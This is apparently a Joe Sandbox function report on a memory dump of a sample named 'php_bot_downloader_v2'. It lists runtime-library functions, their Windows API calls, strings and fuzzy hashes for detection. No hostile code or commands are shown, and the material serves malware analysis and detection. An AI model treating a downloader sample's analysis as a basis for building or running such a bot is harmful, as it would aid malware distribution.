Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0b04348005e901afcdceab8ec3453e4ffe4878e1c9c447050cf3ffce1a24f67e
Instruction ID: 8ee215027eda3646f8e72e03630542eda1d1dffa73b79927574aaaa9048c8969
Opcode Fuzzy Hash: 0b04348005e901afcdceab8ec3453e4ffe4878e1c9c447050cf3ffce1a24f67e
Instruction Fuzzy Hash: 29317532B0869286EB648F31E4413BA72B1EBC4780F489135DB9DD7AA5DF7CF4458704

Function 00007FF658E45A3C Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF658E46227,?,00000000,00000092,?,?,00000000,?,00007FF658E3A2C1), ref: 00007FF658E45ADA

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 21965390a1c3b04c68f5e4ec23e5f88de4ffcdd1d21c48c2fab9df89b6a6053c
Instruction ID: abf478c8e687a159a7c278bada936bbb808f2a8fdbb423e54c087d244c57749a
Opcode Fuzzy Hash: 21965390a1c3b04c68f5e4ec23e5f88de4ffcdd1d21c48c2fab9df89b6a6053c
Instruction Fuzzy Hash: A711D563A086558AEB158F25D4802B877B0EBC0B90F488135C6AD977E0DEB8D9D2D744

Function 00007FF658E45FF8 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

GetLocaleInfoW.KERNEL32(?,?,?,00007FF658E45DA1), ref: 00007FF658E4602F

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: bb8189504487f5a985e51ce05a45f2a6c514b1516119dd71c496efc00cac7e49
Instruction ID: b6c6b2cb5f3e4505e2b1fe4d94ac0cdd1de82ae269b8b9d365b9aaad1755d673
Opcode Fuzzy Hash: bb8189504487f5a985e51ce05a45f2a6c514b1516119dd71c496efc00cac7e49
Instruction Fuzzy Hash: A1112B22A1C56282F7748B3190006792271EB82754F085131DAAD97EF6DE39E8808744

Function 00007FF658E45B0C Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF658E3BF24: GetLastError.KERNEL32 ref: 00007FF658E3BF33
Part of subcall function 00007FF658E3BF24: SetLastError.KERNEL32 ref: 00007FF658E3BFD1

EnumSystemLocalesW.KERNEL32(?,?,?,00007FF658E461E3,?,00000000,00000092,?,?,00000000,?,00007FF658E3A2C1), ref: 00007FF658E45B8A

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 951fbc0144a62e947e75b3a87fb31fcb36c33691a4992eb0475a1d0e2da3f676
Instruction ID: 608b4528ef304b55841e7c376f70f51b0ea40eb38a3dadd2bc867f76c6455788
Opcode Fuzzy Hash: 951fbc0144a62e947e75b3a87fb31fcb36c33691a4992eb0475a1d0e2da3f676
Instruction Fuzzy Hash: E001B562E0829686E7144F35E4407B976F1EBC07A4F499231D6AD97AE4CFB89886C708

Function 00007FF658E3C2AC Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FF658E3C611,?,?,?,?,?,?,?,?,00000000,00007FF658E45088), ref: 00007FF658E3C2FB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: f39889105c39c1e7d9cdfb83f93b998eaff1662254749335195303e6102d8e5c
Instruction ID: 55db8c06d2a59c46bf9472b50a850040522a4f6955f8695ed6bafed66e2e0c16
Opcode Fuzzy Hash: f39889105c39c1e7d9cdfb83f93b998eaff1662254749335195303e6102d8e5c
Instruction Fuzzy Hash: FFF04672A08B5183E6009B76F8911A963B1FB997C0F5C9135EA4DE3B64DE3CE8518308

Function 00007FF658E43384 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF658E43388

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8e49f534ba95581dd22a75685f66825aeb5385678599c58abc7a6036454363c2
Instruction ID: bae1d8f1487f033c83fa3ca3aa436f8d01b0dbd0c5c3157fc74c1014c4956269
Opcode Fuzzy Hash: 8e49f534ba95581dd22a75685f66825aeb5385678599c58abc7a6036454363c2
Instruction Fuzzy Hash: F5B09224E17A16C2EA092B726C4631422B87F88782F8C8038C14CE1720EF3C24A58704

Function 00007FF658E413D0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60b6fb8d0248c970776ccc8624822a80e785400b24caab2435ad90ec9a6ba0a7
Instruction ID: 32ca55e5547577bbc5e8bbb4ba0f4a319793ac00b84927a1f821fc0ba4aa5192
Opcode Fuzzy Hash: 60b6fb8d0248c970776ccc8624822a80e785400b24caab2435ad90ec9a6ba0a7
Instruction Fuzzy Hash: 5DF06271B192A5CEDFA99F39B84262A77E0E748380F948039D68DC3F14DA3C90609F08

Function 00007FF658E2DEF0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95e507c8ea33960a97f08222a6a90f76330df96898f3661f46b3fbdcd566cc28
Instruction ID: cd7287b9e2100a812c849d81c5c4fe32be10fdf0a6564ba095d0b82c0b668c86
Opcode Fuzzy Hash: 95e507c8ea33960a97f08222a6a90f76330df96898f3661f46b3fbdcd566cc28
Instruction Fuzzy Hash: EDA00121A0C82AD0F7448B61A8500342230AB90301B580031D14EA69A89E7DA4808208

Function 00007FF658E3CAC0 Relevance: 36.8, APIs: 10, Strings: 11, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00007FF658E3CADB
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CAFA

Part of subcall function 00007FF658E3C328: GetProcAddress.KERNEL32(?,?,00000006,00007FF658E3C72A,?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D), ref: 00007FF658E3C480

try_get_function.LIBVCRUNTIME ref: 00007FF658E3CB19

Part of subcall function 00007FF658E3C328: LoadLibraryExW.KERNEL32(?,?,00000006,00007FF658E3C72A,?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D), ref: 00007FF658E3C3CB
Part of subcall function 00007FF658E3C328: GetLastError.KERNEL32(?,?,00000006,00007FF658E3C72A,?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D), ref: 00007FF658E3C3D9
Part of subcall function 00007FF658E3C328: LoadLibraryExW.KERNEL32(?,?,00000006,00007FF658E3C72A,?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D), ref: 00007FF658E3C41B

try_get_function.LIBVCRUNTIME ref: 00007FF658E3CB38

Part of subcall function 00007FF658E3C328: FreeLibrary.KERNEL32(?,?,00000006,00007FF658E3C72A,?,?,?,00007FF658E3C0EA,?,?,?,00007FF658E35E2D), ref: 00007FF658E3C454

try_get_function.LIBVCRUNTIME ref: 00007FF658E3CB57
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CB76
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CB95
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CBB4
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CBD3
try_get_function.LIBVCRUNTIME ref: 00007FF658E3CBF2

Strings

LCIDToLocaleName, xrefs: 00007FF658E3CBD8, 00007FF658E3CBEB
GetDateFormatEx, xrefs: 00007FF658E3CB1E, 00007FF658E3CB31
AreFileApisANSI, xrefs: 00007FF658E3CAD4
EnumSystemLocalesEx, xrefs: 00007FF658E3CAFF, 00007FF658E3CB12
GetUserDefaultLocaleName, xrefs: 00007FF658E3CB7B, 00007FF658E3CB8E
LCMapStringEx, xrefs: 00007FF658E3CBCC
GetLocaleInfoEx, xrefs: 00007FF658E3CB50
CompareStringEx, xrefs: 00007FF658E3CAF3
LocaleNameToLCID, xrefs: 00007FF658E3CBF7, 00007FF658E3CC0A
IsValidLocaleName, xrefs: 00007FF658E3CB9A, 00007FF658E3CBAD
GetTimeFormatEx, xrefs: 00007FF658E3CB5C, 00007FF658E3CB6F

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: try_get_function$Library$Load$AddressErrorFreeLastProc
String ID: AreFileApisANSI$CompareStringEx$EnumSystemLocalesEx$GetDateFormatEx$GetLocaleInfoEx$GetTimeFormatEx$GetUserDefaultLocaleName$IsValidLocaleName$LCIDToLocaleName$LCMapStringEx$LocaleNameToLCID
API String ID: 3255926029-3252031757
Opcode ID: b010464cf2b1cba93bad182734da8025cbabf81e56ab9118fdcaeaff9242ecd3
Instruction ID: 1f86c626bf18de415d3331364466c7b152ba1811edcd46ec2598609aa10a3a09
Opcode Fuzzy Hash: b010464cf2b1cba93bad182734da8025cbabf81e56ab9118fdcaeaff9242ecd3
Instruction Fuzzy Hash: 583181E5908B2BA0FA04DB70E9515E82731FF54318FC90473D10DB29B19F3CAA4AD349

Function 00007FF658E2D42C Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 00007FF658E2D442
GetModuleHandleW.KERNEL32 ref: 00007FF658E2D44F
GetModuleHandleW.KERNEL32 ref: 00007FF658E2D464
GetProcAddress.KERNEL32 ref: 00007FF658E2D47C
GetProcAddress.KERNEL32 ref: 00007FF658E2D48F
CreateEventW.KERNEL32 ref: 00007FF658E2D4BB
__scrt_fastfail.LIBCMT ref: 00007FF658E2D4F6
DeleteCriticalSection.KERNEL32 ref: 00007FF658E2D507
CloseHandle.KERNEL32 ref: 00007FF658E2D519

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00007FF658E2D448
SleepConditionVariableCS, xrefs: 00007FF658E2D472
WakeAllConditionVariable, xrefs: 00007FF658E2D482
kernel32.dll, xrefs: 00007FF658E2D45D

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin__scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2680415206-3242537097
Opcode ID: d05e834672c3922e5a6c897896d78d0ee0807681eb762845170bdc3133b728b2
Instruction ID: 0d043d0573b05ca8534ea1d9e069cbea241ba02efa480cef0f9aecf7bd7450ea
Opcode Fuzzy Hash: d05e834672c3922e5a6c897896d78d0ee0807681eb762845170bdc3133b728b2
Instruction Fuzzy Hash: 9B21F820B19B3BD1FA55AB75BC5527423B0AF85741F4C4435CA5EF2EA1EE3CB4498308

Function 00007FF658E242E0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF658E242F8
_Yarn.LIBCPMTD ref: 00007FF658E2430A
_Yarn.LIBCPMTD ref: 00007FF658E2431C
_Yarn.LIBCPMTD ref: 00007FF658E2432E
_Yarn.LIBCPMTD ref: 00007FF658E24340
_Yarn.LIBCPMTD ref: 00007FF658E24352
_Yarn.LIBCPMTD ref: 00007FF658E24364
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF658E2437C

Part of subcall function 00007FF658E2C1B8: _Yarn.LIBCPMT ref: 00007FF658E2C1E6

Strings

bad locale name, xrefs: 00007FF658E24383

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Yarn$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3904239083-1405518554
Opcode ID: 4d20062005d52e6d3db2030ef939464a733f81348363e0549d74b71ef5b6912e
Instruction ID: 9c92ae374c3f88886ec5fafd9744ca1b0b8bb55f2b815c7a11868f5c8132253b
Opcode Fuzzy Hash: 4d20062005d52e6d3db2030ef939464a733f81348363e0549d74b71ef5b6912e
Instruction Fuzzy Hash: 09112151E6965782EE44E73AE88666E5360EFC2B84F482435F98F73B67DD3CD0114B08

Function 00007FF658E307AC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 319COMMONLIBRARYCODE

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF658E30810

Part of subcall function 00007FF658E32AA4: _GetEstablisherFrame.LIBVCRUNTIME ref: 00007FF658E32AD9
Part of subcall function 00007FF658E32AA4: __GetUnwindTryBlock.LIBCMT ref: 00007FF658E32AE7
Part of subcall function 00007FF658E32AA4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF658E32B0C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF658E308E8
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF658E30B4C
_GetEstablisherFrame.LIBVCRUNTIME ref: 00007FF658E30B9D
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF658E30C5D

Strings

csm, xrefs: 00007FF658E3082A
csm, xrefs: 00007FF658E30891
csm, xrefs: 00007FF658E3090B

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Frame$BlockEstablisherHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3606184308-393685449
Opcode ID: a124b85dfb71e3b74eb00f91c3f92f93adecf0c1a6d71bf5cd3011c25a91d866
Instruction ID: 456abc6e59ca642859c885eef16c619be23957d0d359338f59d579d7c2b2e698
Opcode Fuzzy Hash: a124b85dfb71e3b74eb00f91c3f92f93adecf0c1a6d71bf5cd3011c25a91d866
Instruction Fuzzy Hash: 3AE16F32A087529AEB619B75D4413AD77B0FB85798F180135DE8DA7FA6CF38E890C704

Function 00007FF658E3F034 Relevance: 10.8, APIs: 7, Instructions: 291COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E3F46A

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 073ffab9575f921b19d5eca0bd6a1b02315b113ae5b68c4e01bf469d61ae1604
Instruction ID: 73db151616ada874f1ee5ebbb119c003af6adbdf858d11ddd4b8f229cb942d75
Opcode Fuzzy Hash: 073ffab9575f921b19d5eca0bd6a1b02315b113ae5b68c4e01bf469d61ae1604
Instruction Fuzzy Hash: 74C1A332A0C6A681EB619B35A4402BD67B0FB81B80F5D0131DA4EA7BB5DE7CFC55C708

Function 00007FF658E2A240 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 00007FF658E2A278
char_traits.LIBCPMTD ref: 00007FF658E2A28C

Strings

, xrefs: 00007FF658E2A384

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-3916222277
Opcode ID: de8db9d032ffcfc8b79d9f3ae03ebbbacc1b6865db1827f2b6139635527112c9
Instruction ID: 951c7ba2acc1cd812d9132b96d49dd0afbf9adeab8b9912770a115230e81936b
Opcode Fuzzy Hash: de8db9d032ffcfc8b79d9f3ae03ebbbacc1b6865db1827f2b6139635527112c9
Instruction Fuzzy Hash: 4E712D22A0DA9685E660DB25EC417BEB7B0FB81740F580132E68ED7E9ADF3CD444CB14

Function 00007FF658E32FFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF658E332AA,?,?,?,00007FF658E32F20,?,?,?,?,00007FF658E2FA59), ref: 00007FF658E3307F
GetLastError.KERNEL32(?,?,?,00007FF658E332AA,?,?,?,00007FF658E32F20,?,?,?,?,00007FF658E2FA59), ref: 00007FF658E3308D
LoadLibraryExW.KERNEL32(?,?,?,00007FF658E332AA,?,?,?,00007FF658E32F20,?,?,?,?,00007FF658E2FA59), ref: 00007FF658E330B7
FreeLibrary.KERNEL32(?,?,?,00007FF658E332AA,?,?,?,00007FF658E32F20,?,?,?,?,00007FF658E2FA59), ref: 00007FF658E330FD
GetProcAddress.KERNEL32(?,?,?,00007FF658E332AA,?,?,?,00007FF658E32F20,?,?,?,?,00007FF658E2FA59), ref: 00007FF658E33109

Strings

api-ms-, xrefs: 00007FF658E3309F

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 5899ebe8d8c7a3f7160a3d9b45089dab11f3e3eb393157d033fd784c249ca927
Instruction ID: b7f9fe1ffc2c8ef8f505de2bf34cc3c210122fde4feb9263caa9b81b32020caa
Opcode Fuzzy Hash: 5899ebe8d8c7a3f7160a3d9b45089dab11f3e3eb393157d033fd784c249ca927
Instruction Fuzzy Hash: 7E31E821B0966294FE629B76A80097523B4BF44BA0F4D0535DD1EA7BA4DF3CFC058708

Function 00007FF658E48AB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF658E48AE5
GetLastError.KERNEL32 ref: 00007FF658E48AF1
CloseHandle.KERNEL32 ref: 00007FF658E48B09
CreateFileW.KERNEL32 ref: 00007FF658E48B34
WriteConsoleW.KERNEL32 ref: 00007FF658E48B53

Strings

CONOUT$, xrefs: 00007FF658E48B15

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

